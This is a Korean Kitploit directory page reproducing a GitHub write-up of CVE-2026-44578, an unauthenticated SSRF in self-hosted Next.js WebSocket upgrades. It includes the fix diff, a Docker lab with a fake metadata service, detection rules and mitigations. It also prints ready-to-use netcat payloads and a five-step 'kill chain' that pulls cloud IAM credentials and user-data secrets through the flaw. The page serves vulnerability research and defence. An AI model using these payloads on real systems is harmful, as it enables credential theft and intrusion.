Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket 업그레이드 SSRF — localhost:80을 통한 사전 인증 자격 증명 탈취. 실습 + 익스플로잇 + 감사. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-44578
Vulnerability AnalysisExploitationWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket 업그레이드 SSRF — localhost:80을 통한 사전 인증 자격 증명 탈취. 실습 + 익스플로잇 + 감사.

저장소 보기
9233개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44578 — Next.js WebSocket 업그레이드 SSRF

Next.js 자체 호스팅 배포 환경에서 인증 없이 악용 가능한 서버 측 요청 위조(SSRF) 취약점입니다.
단 하나의 조작된 HTTP 요청으로 localhost:80에서 AWS 자격 증명, 비밀값, 내부 서비스 데이터를 탈취할 수 있습니다.

필드값
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
유형SSRF (CWE-918)
영향받는 버전Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (자체 호스팅만 해당)
수정 버전15.5.16, 16.2.5
인증 필요없음
사용자 상호작용없음

취약점

router-server.ts의 WebSocket 업그레이드 핸들러는 parsedUrl.protocol이 truthy일 때마다 proxyRequest()를 호출합니다. HTTP 핸들러가 항상 적용하던 finished 및 statusCode 라우팅 완료 플래그는 확인하지 않습니다.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

normalizeRepeatedSlashes가 http:///를 http:/로 축약하면 hostname이 null이 되고, http-proxy는 올바른 경로로 localhost:80에 연결합니다. 동일 위치에 있는 모든 서비스(클라우드 메타데이터, 관리자 패널, 내부 API)가 노출됩니다.


익스플로잇 명령어

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl은 절대형(absolute-form) URI를 전송할 수 없습니다. 원시 TCP(nc, ncat, socat, Python 소켓)를 사용하세요.


작동 원리

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

실습 재현

사전 요구사항

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

설정

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

이 명령은 5개의 컨테이너를 시작합니다:

컨테이너역할노출 주소
nextjs-vulnNext.js 15.5.15 (취약 버전)localhost:3000
nextjs-fixedNext.js 15.5.16 (패치 버전)localhost:3001
imds-sidecar-vuln취약 컨테이너와 네트워크를 공유하는 가짜 AWS IMDSv1localhost:80 (취약 컨테이너 기준)
imds-sidecar-fixed패치 컨테이너와 네트워크를 공유하는 가짜 AWS IMDSv1localhost:80 (패치 컨테이너 기준)
internal-api내부 서비스 모의 구현—

IMDS 사이드카는 network_mode: "service:nextjs-*"를 사용하여 가짜 메타데이터 서비스가 Next.js 컨테이너 내부의 localhost:80에 위치하게 합니다. 실제 클라우드 인스턴스를 모델링한 구성입니다.

익스플로잇 실행

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

정리

root@kitploit:~
./teardown.sh

증거

1. 실습 환경 실행

모든 컨테이너가 가동 중입니다. 취약 버전(15.5.15)은 :3000, 패치 버전(15.5.16)은 :3001에서 실행 중이며, IMDS 사이드카가 네트워크 네임스페이스를 공유합니다.

실습 환경 실행

2. SSRF — AWS 메타데이터 목록

단일 요청으로 전체 EC2 메타데이터 디렉터리(ami-id, instance-id, iam/, placement/ 등)를 반환합니다.

메타데이터 목록

3. SSRF — IAM 자격 증명 추출

전체 IAM 자격 증명 세트인 AccessKeyId, SecretAccessKey, Token, Expiration을 반환합니다.

IAM 자격 증명

4. SSRF — User-Data 비밀값

DB_PASSWORD와 API_KEY가 포함된 EC2 user-data 부트스트랩 스크립트입니다.

User-Data 비밀값

5. SSRF — 인스턴스 ID

동일한 SSRF 경로를 통해 인스턴스 ID를 추출합니다.

인스턴스 ID

6. 패치된 인스턴스 — 차단됨

Next.js 15.5.16에 동일한 페이로드를 전송했습니다. 연결이 즉시 종료되며 데이터가 반환되지 않습니다.

패치 버전 차단

7. IMDS 로그 — 서버 측 실행 증거

가짜 IMDS 로그에 127.0.0.1(Next.js 프로세스)에서 도착한 GET 요청이 기록되어 SSRF가 서버 측에서 발생함을 입증합니다.

IMDS 로그

8. 전체 PoC 스위트 — 취약 버전 (7/7 확인됨)

취약 인스턴스에서 7개 SSRF 테스트 모두 민감한 데이터를 반환합니다.

전체 스위트 취약 버전

9. 전체 PoC 스위트 — 패치 버전 (0/7 차단됨)

패치된 인스턴스에서는 7개 테스트가 모두 차단되었습니다. 수정이 확인되었습니다.

전체 스위트 패치 버전


킬 체인 페이로드

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

T를 대상 호스트로, ROLE을 IAM 역할 이름으로 교체하세요.


제약 사항

제한 사항세부 내용
HTTP 메서드GET만 가능
대상localhost:80 (정규화로 hostname이 제거됨)
AWS IMDSv2악용 불가 (PUT 필요)
GCP 메타데이터악용 불가 (Upgrade 헤더 거부)
Vercel 호스팅영향 없음
리버스 프록시 뒤nginx/Caddy/HAProxy가 절대형 URI를 차단

탐지 및 완화

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

AWS에서는 IMDSv2(HttpTokens=required)를 강제하세요.

로그 시그니처:

  • Failed to proxy http:/ — 프록시가 트리거되었지만 대상에 연결할 수 없음
  • http:///path 변형은 오류 로그를 생성하지 않음 — 요청 라인에 http:가 포함된 WebSocket 업그레이드를 모니터링하세요

참고 자료

출처링크
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
수정 커밋https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Hadrian 분석 글https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
공개 PoC (nextssrf)https://github.com/ynsmroztas/nextssrf

면책 조항

승인된 보안 테스트, 교육, 방어적 연구 목적으로만 사용하십시오. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에만 사용하세요.

도구 다운로드